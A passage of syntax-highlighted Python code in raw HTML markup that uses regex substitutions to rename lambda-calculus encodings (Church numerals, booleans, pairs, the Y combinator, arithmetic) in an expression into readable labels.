&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;num_&lt;&#x2F;span&gt;&lt;span&gt;{numl&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;)&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(numr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;numl)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(?P&amp;lt;p2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\.( \(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ (?P=p2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, num_replace, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(?P&amp;lt;p2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;true&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(?P&amp;lt;p2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;false&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P3&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P3) (?P=P1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;PAIR&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P3&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P1) (?P=P2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P3)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;if&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. false\)\) true\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;is_zero&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt; true\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;first&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt; false\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;second&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(\( \\(?P&amp;lt;p2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p2) (?P=p2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\) \( \\(?P&amp;lt;p3&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p3) (?P=p3)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\)\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Y&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P3&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P2) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\(\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P1) (?P=P2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P3)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\)\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;succ&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(?P&amp;lt;p2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(?P&amp;lt;p3&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(?P&amp;lt;p4&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p2) (?P=p3)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p4)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\)\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;mul&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P3&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P4&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P1) (?P=P3)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\) \(\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P2) (?P=P3)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P4)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\)\)\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;plus&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
